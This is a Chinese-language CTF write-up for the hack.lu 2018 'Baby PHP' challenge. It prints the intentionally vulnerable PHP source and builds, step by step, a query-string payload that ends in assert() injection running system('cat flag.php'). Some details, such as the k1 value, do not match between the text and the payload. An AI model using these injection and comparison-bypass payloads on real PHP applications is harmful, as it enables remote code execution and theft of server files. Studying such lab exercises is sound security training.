CTF

hacklu CTF 2018 Baby PHP WriteUp

2018-10-18  本文已影响104人  Eumenides_62ac

Baby PHP

核心代码

打开后给了代码:

 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$b = "2";$a="b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;  

阶段一

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

过file_get_contents()用到了php伪协议。https://www.lorexxar.cn/2016/09/14/php-wei/。只要通过php://input来读取POST里的数据就可以。
所以构造payload:

?msg=php://input
post:Hello Challenge!

阶段二

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

接下来要绕过intval()函数。
这里k1变量要经过intval()后不与cc=1337相同,但是本身k1要与c1相同。
下面看一些变量被intval()后的例子:

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

这里参照echo intval(042); // 34,把,构造payload:

?msg=php://input&key1=01337

这样int(01337)会变成八进制,不与cc相同。但是k1又是等于cc的。

阶段三

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

首先要求strlen($k2) == $bb,bb=42
然后要满足正则。这里的这个是美元符号,而不是正则表达式里的行尾铆钉符$
最后要要求k2==cc。这里是弱比较。
来测试以下:

<?php
        $cc = 1337;
        $k2='00000000000000000000000000000000000001337$';
        var_dump(preg_match('/^\d+$/', $k2));
        var_dump(!is_numeric($k2));
        var_dump($k2 == $cc);
        var_dump($k2);
?>

变量k2等于cc的原因就是PHP的恐龙特性。
于是构造payload:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$
post:Hello Challenge!

然后就可以对cc进行赋值了。

阶段四

list($k1,$k2) = [$k2, $k1];

list($k1,$k2) = [$k2, $k1];这一步交换了k1k2的值。

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

substr()函数将截取cc42位后,要与sha1($cc)相同。
sha1()可以用数组绕过。所以构造cc[1]=1,两个同时为null就绕过了。


构造payload:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1
post:Hello Challenge!

之后就存在变量覆盖的问题,可以参考文章:https://www.cnblogs.com/xiaozi/p/7768580.html。此时我们对任何参数是可控的。

阶段五

$b = "2";$a="b";//;1=b

这里a=b,b=1

if($$a !== $k1){
    die("lel no\n");
}

$$a取值就为$bb为1,传参k1=1即可。
现在的payload为:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2
post:Hello Challenge!

阶段六

assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag; 

最后的assert()函数可用来执行代码。可以参考:https://www.cnblogs.com/xiaozi/p/7834367.html
可以看到这里的输出flag已经被注释掉了,需要自己去输出。
构造bb=system('cat flag.php');//即可。
最后的payload:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2&bb=system('cat flag.php');//
POST:Hello Challenge!

得到flag。

上一篇下一篇

猜你喜欢

热点阅读